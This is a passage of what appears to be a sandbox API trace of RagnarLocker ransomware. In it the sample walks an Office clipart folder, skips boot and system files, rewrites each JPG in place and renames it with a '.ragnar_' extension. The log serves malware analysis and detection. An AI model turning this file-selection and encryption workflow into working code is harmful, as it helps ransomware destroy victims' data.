Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.221] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa91e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0386267.JPG", cAlternateFileName="")) returned 1 [0088.221] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.221] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0386267.JPG" | out: lpString1="J0386267.JPG") returned="J0386267.JPG" [0088.221] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG") returned=".JPG" [0088.221] lstrcmpiW (lpString1="J0386267.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.221] lstrcmpiW (lpString1="J0386267.JPG", lpString2="autorun.inf") returned 1 [0088.221] lstrcmpiW (lpString1="J0386267.JPG", lpString2="boot.ini") returned 1 [0088.221] lstrcmpiW (lpString1="J0386267.JPG", lpString2="bootfont.bin") returned 1 [0088.221] lstrcmpiW (lpString1="J0386267.JPG", lpString2="bootsect.bak") returned 1 [0088.221] lstrcmpiW (lpString1="J0386267.JPG", lpString2="bootmgr") returned 1 [0088.222] lstrcmpiW (lpString1="J0386267.JPG", lpString2="bootmgr.efi") returned 1 [0088.222] lstrcmpiW (lpString1="J0386267.JPG", lpString2="bootmgfw.efi") returned 1 [0088.222] lstrcmpiW (lpString1="J0386267.JPG", lpString2="desktop.ini") returned 1 [0088.222] lstrcmpiW (lpString1="J0386267.JPG", lpString2="iconcache.db") returned 1 [0088.222] lstrcmpiW (lpString1="J0386267.JPG", lpString2="ntldr") returned -1 [0088.222] lstrcmpiW (lpString1="J0386267.JPG", lpString2="ntuser.dat") returned -1 [0088.222] lstrcmpiW (lpString1="J0386267.JPG", lpString2="ntuser.dat.log") returned -1 [0088.222] lstrcmpiW (lpString1="J0386267.JPG", lpString2="ntuser.ini") returned -1 [0088.222] lstrcmpiW (lpString1="J0386267.JPG", lpString2="thumbs.db") returned -1 [0088.222] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.222] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.222] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.222] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.222] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.222] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.222] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg")) returned 0x20 [0088.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.222] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=43294) returned 1 [0088.222] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa915, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.223] GetProcessHeap () returned 0x580000 [0088.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.223] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.224] VirtualAlloc (lpAddress=0x0, dwSize=0xa91e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.224] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.224] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.224] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa91e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa91e, lpOverlapped=0x0) returned 1 [0088.226] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.226] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa91e, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.226] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa91e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa91e, lpOverlapped=0x0) returned 1 [0088.226] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa91e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.226] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.227] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa91e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.227] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.227] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.227] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.227] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.227] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.227] GetProcessHeap () returned 0x580000 [0088.227] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.227] CloseHandle (hObject=0xf4) returned 1 [0088.227] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" [0088.227] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.ragnar_FD7BD9FC" [0088.227] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.228] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b43, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0386270.JPG", cAlternateFileName="")) returned 1 [0088.228] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.228] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0386270.JPG" | out: lpString1="J0386270.JPG") returned="J0386270.JPG" [0088.228] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG") returned=".JPG" [0088.228] lstrcmpiW (lpString1="J0386270.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.228] lstrcmpiW (lpString1="J0386270.JPG", lpString2="autorun.inf") returned 1 [0088.228] lstrcmpiW (lpString1="J0386270.JPG", lpString2="boot.ini") returned 1 [0088.228] lstrcmpiW (lpString1="J0386270.JPG", lpString2="bootfont.bin") returned 1 [0088.228] lstrcmpiW (lpString1="J0386270.JPG", lpString2="bootsect.bak") returned 1 [0088.228] lstrcmpiW (lpString1="J0386270.JPG", lpString2="bootmgr") returned 1 [0088.228] lstrcmpiW (lpString1="J0386270.JPG", lpString2="bootmgr.efi") returned 1 [0088.228] lstrcmpiW (lpString1="J0386270.JPG", lpString2="bootmgfw.efi") returned 1 [0088.228] lstrcmpiW (lpString1="J0386270.JPG", lpString2="desktop.ini") returned 1 [0088.228] lstrcmpiW (lpString1="J0386270.JPG", lpString2="iconcache.db") returned 1 [0088.228] lstrcmpiW (lpString1="J0386270.JPG", lpString2="ntldr") returned -1 [0088.228] lstrcmpiW (lpString1="J0386270.JPG", lpString2="ntuser.dat") returned -1 [0088.228] lstrcmpiW (lpString1="J0386270.JPG", lpString2="ntuser.dat.log") returned -1 [0088.228] lstrcmpiW (lpString1="J0386270.JPG", lpString2="ntuser.ini") returned -1 [0088.228] lstrcmpiW (lpString1="J0386270.JPG", lpString2="thumbs.db") returned -1 [0088.228] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.228] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.228] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.228] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.229] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.229] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.229] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg")) returned 0x20 [0088.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.230] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15171) returned 1 [0088.230] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3b3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.230] GetProcessHeap () returned 0x580000 [0088.230] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.230] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.231] VirtualAlloc (lpAddress=0x0, dwSize=0x3b43, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.231] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.231] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.231] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3b43, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3b43, lpOverlapped=0x0) returned 1 [0088.233] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.233] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b43, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.233] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3b43, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3b43, lpOverlapped=0x0) returned 1 [0088.233] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b43, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.233] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.233] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3b43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.233] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.233] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.233] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.233] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.233] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.234] GetProcessHeap () returned 0x580000 [0088.234] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.234] CloseHandle (hObject=0xf4) returned 1 [0088.234] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" [0088.234] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.ragnar_FD7BD9FC" [0088.234] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.234] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x396a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0386485.JPG", cAlternateFileName="")) returned 1 [0088.234] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.235] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0386485.JPG" | out: lpString1="J0386485.JPG") returned="J0386485.JPG" [0088.235] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG") returned=".JPG" [0088.235] lstrcmpiW (lpString1="J0386485.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.235] lstrcmpiW (lpString1="J0386485.JPG", lpString2="autorun.inf") returned 1 [0088.235] lstrcmpiW (lpString1="J0386485.JPG", lpString2="boot.ini") returned 1 [0088.235] lstrcmpiW (lpString1="J0386485.JPG", lpString2="bootfont.bin") returned 1 [0088.235] lstrcmpiW (lpString1="J0386485.JPG", lpString2="bootsect.bak") returned 1 [0088.235] lstrcmpiW (lpString1="J0386485.JPG", lpString2="bootmgr") returned 1 [0088.235] lstrcmpiW (lpString1="J0386485.JPG", lpString2="bootmgr.efi") returned 1 [0088.235] lstrcmpiW (lpString1="J0386485.JPG", lpString2="bootmgfw.efi") returned 1 [0088.235] lstrcmpiW (lpString1="J0386485.JPG", lpString2="desktop.ini") returned 1 [0088.235] lstrcmpiW (lpString1="J0386485.JPG", lpString2="iconcache.db") returned 1 [0088.235] lstrcmpiW (lpString1="J0386485.JPG", lpString2="ntldr") returned -1 [0088.235] lstrcmpiW (lpString1="J0386485.JPG", lpString2="ntuser.dat") returned -1 [0088.235] lstrcmpiW (lpString1="J0386485.JPG", lpString2="ntuser.dat.log") returned -1 [0088.235] lstrcmpiW (lpString1="J0386485.JPG", lpString2="ntuser.ini") returned -1 [0088.235] lstrcmpiW (lpString1="J0386485.JPG", lpString2="thumbs.db") returned -1 [0088.235] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.235] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.235] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.235] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.235] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.235] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.235] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg")) returned 0x20 [0088.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.236] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14698) returned 1 [0088.236] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3961, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.236] GetProcessHeap () returned 0x580000 [0088.236] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.236] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.237] VirtualAlloc (lpAddress=0x0, dwSize=0x396a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.238] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.238] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.238] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x396a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x396a, lpOverlapped=0x0) returned 1 [0088.239] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.239] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x396a, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.239] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x396a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x396a, lpOverlapped=0x0) returned 1 [0088.239] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x396a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.239] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.239] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x396a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.239] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.239] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.240] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.240] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.240] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.240] GetProcessHeap () returned 0x580000 [0088.240] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.240] CloseHandle (hObject=0xf4) returned 1 [0088.240] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" [0088.240] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.ragnar_FD7BD9FC" [0088.240] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.241] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x693e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0386764.JPG", cAlternateFileName="")) returned 1 [0088.241] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft 